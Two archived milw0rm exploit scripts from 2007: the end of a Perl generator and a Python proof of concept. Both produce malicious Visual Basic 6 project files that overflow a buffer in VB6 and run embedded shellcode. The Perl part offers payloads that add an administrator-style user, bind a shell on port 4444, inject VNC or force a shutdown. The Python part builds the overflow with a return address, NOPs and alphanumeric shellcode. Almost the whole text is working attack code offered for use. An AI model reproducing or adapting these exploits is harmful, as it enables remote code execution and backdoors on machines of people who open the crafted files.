"\x41\x31\x4e\x55\x49\x48\x42\x4e\x4c\x36\x42\x31\x42\x35\x47\x55". "\x4f\x4f\x45\x35\x46\x32\x43\x55\x47\x45\x4f\x4f\x45\x45\x4a\x32". "\x43\x55\x46\x35\x47\x45\x4f\x4f\x45\x55\x42\x32\x49\x48\x47\x4c". "\x41\x58\x4e\x4e\x42\x50\x42\x31\x42\x50\x42\x50\x49\x58\x43\x4e". "\x4c\x46\x42\x50\x4a\x46\x42\x30\x42\x51\x42\x30\x42\x30\x43\x35". "\x47\x45\x4f\x4f\x45\x35\x4a\x31\x41\x58\x4e\x4e\x42\x30\x46\x30". "\x42\x30\x42\x30\x4f\x4f\x43\x4d\x5a"; # win32_exec - EXITFUNC=seh CMD=shutdown -c "HAI VEn0m pwn3d j00r b0x0r wif k0sh1 u b1tch" Size=451 Encoder=PexAlphaNum http://metasploit.com $shellc5 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34". "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x38\x4e\x47". "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x51\x4b\x48". "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x48". "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c". "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x38". "\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34". "\x4b\x38\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48". "\x41\x50\x4b\x4e\x49\x48\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x43". "\x42\x4c\x46\x56\x4b\x48\x42\x34\x42\x43\x45\x58\x42\x4c\x4a\x37". "\x4e\x50\x4b\x38\x42\x34\x4e\x50\x4b\x38\x42\x57\x4e\x51\x4d\x4a". "\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b". "\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x46\x4e\x43\x4f\x45\x41\x53". "\x48\x4f\x42\x36\x48\x35\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x37". "\x42\x45\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x56\x4a\x39". "\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x37\x4a\x56". "\x45\x47\x46\x37\x46\x46\x4f\x36\x47\x37\x50\x46\x42\x42\x4d\x42". "\x43\x36\x42\x42\x44\x42\x4a\x34\x41\x54\x49\x34\x42\x42\x48\x35". "\x45\x34\x50\x56\x42\x33\x4d\x56\x42\x52\x42\x57\x47\x57\x50\x56". "\x43\x33\x46\x36\x42\x32\x4c\x46\x42\x33\x42\x33\x44\x37\x42\x32". "\x44\x46\x42\x53\x4a\x57\x42\x33\x44\x47\x42\x52\x47\x47\x49\x56". "\x48\x46\x42\x52\x4b\x56\x42\x33\x43\x57\x4a\x56\x41\x53\x42\x32". "\x45\x37\x42\x32\x44\x56\x41\x43\x46\x37\x43\x46\x4a\x56\x44\x32". "\x42\x30\x5a"; $endQuote = "\x22"; $i = $ARGV[0]; if ($i==1){ print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc1$endQuote$koshi"; exit; } if ($i==2){ print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc2$endQuote$koshi"; exit; } if ($i==3){ print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc3$endQuote$koshi"; exit; } if ($i==4){ print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc4$endQuote$koshi"; exit; } if ($i==5){ print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc5$endQuote$koshi"; exit; } print "\n"; print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"; print " +++ +++\n"; print " +++ +++\n"; print " +++ Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec +++\n"; print " +++ Written By Koshi +++\n"; print " +++ Greets: Rima my baby! Draven, thanks for helping. +++\n"; print " +++ +++\n"; print " +++ Usage Ex.: ./vb6.pl 1 >>Project1.vbp +++\n"; print " +++ +++\n"; print " +++ Options: +++\n"; print " +++ 1 - win32_exec CALC.EXE +++\n"; print " +++ 2 - win32_adduser Pass=4dmin User=koshi +++\n"; print " +++ 3 - win32_bind Port 4444 +++\n"; print " +++ 4 - win32_bind_vncinject Port 5900 +++\n"; print " +++ 5 - win32_exec shutdown -c \x22HAI VEn0m pw.. +++\n"; print " +++ +++\n"; print " +++ +++\n"; print " +++ Notes: Ship final .VBP file with a .FRM file to avoid +++\n"; print " +++ warnings in Visual Basic 6.0 +++\n"; print " +++ +++\n"; print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"; exit; #EOF # milw0rm.com [2007-09-04]

#usage: vbexploit.py FileName.vbp import sys print "--------------------------------------------------------------------------" print " [PoC_2] Microsoft Visual Basic Enterprise Edition 6.0 SP6 Code Execution " print " author: shinnai" print " mail: shinnai[at]autistici[dot]org" print " site: http://shinnai.altervista.org\n" print " based on Koshi exploit" print " http://www.milw0rm.com/exploits/4361\n" print " I try his exploit on Windows XP Pro SP2 Ita, full patched and it doesn't" print " work, but he said:\n" print ' "# ...backwards..if you don' + "'t" + ' know why, then gtfo."\n' print " ok, now I know why brotha, I got this exception:\n" print ' "Access violation when writing to [63636363]"\n' print " so I search another way to get exploit working but I need to do some" print ' changes to memory address ("00" became "20") and nop ("90" became "3F").' print " Well, here it is a PoC_2 and if it doesn't work and" + ' "you don' + "'t know why," print ' then"' + "... feel free to ask ;)\n" print " dedicated to all Italian vb6 programmers... be safe bros" print "--------------------------------------------------------------------------" buff = "A" * 494 EIP = "\x37\x17\x8B\x60"; #call ESP from VBSCC.DLL esp, you can (or must) change as you like buff2 = "A" * 12 RW_Memory = "\x20\x20\x01\x20" #patched writeable memory address "\x00\x00\x01\x00" nop = "\x3F\x3F\x3F\x3F" #patched nop "\x90" shellcode = \ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\ "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\ "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\ "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\ "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\ "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\ "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\ "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\ "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\ "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\ "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\ "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\ "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\ "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\ "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\ "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\ "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\ "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\ "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\ "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\ "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\ "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a" try: vb_proj = \ 'Type=Exe\n'+\ 'Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\WINDOWS'+\ '\system32\stdole2.tlb#OLE Automation' + buff + EIP + buff2 + RW_Memory + nop + shellcode + nop +\ '\nStartup="Sub Main"\n'+\ 'Command32=""\n'+\ 'Name=' + sys.argv[1]+\ '\nHelpContextID="0"\n'+\ 'CompatibleMode="0"\n'+\ 'MajorVer=1\n'+\ 'MinorVer=0\n'+\ 'RevisionVer=0\n'+\ 'AutoIncrementVer=0\n'+\ 'ServerSupportFiles=0\n'+\ 'VersionCompanyName="xxx"\n'+\ 'CompilationType=0\n'+\ 'OptimizationType=0\n'+\ 'FavorPentiumPro(tm)=0\n'+\ 'CodeViewDebugInfo=0\n'+\ 'NoAliasing=0\n'+\ 'BoundsCheck=0\n'+\ 'OverflowCheck=0\n'+\ 'FlPointCheck=0\n'+\ 'FDIVCheck=0\n'+\ 'UnroundedFP=0\n'+\ 'StartMode=0\n'+\ 'Unattended=0\n'+\ 'Retained=0\n'+\ 'ThreadPerObject=0\n'+\ 'MaxNumberOfThreads=1\n\n'+\ '[MS Transaction Server]\n'+\ 'AutoRefresh=1' out_file = open(sys.argv[1],'w') out_file.write(vb_proj) out_file.close() print "\nFILE CREATION COMPLETED!\n" except: print " \n -------------------------------------" print " Usage: exploit.py FileName.vbp" print " -------------------------------------" print "\nAN ERROR OCCURS DURING FILE CREATION!" # milw0rm.com [2007-09-19]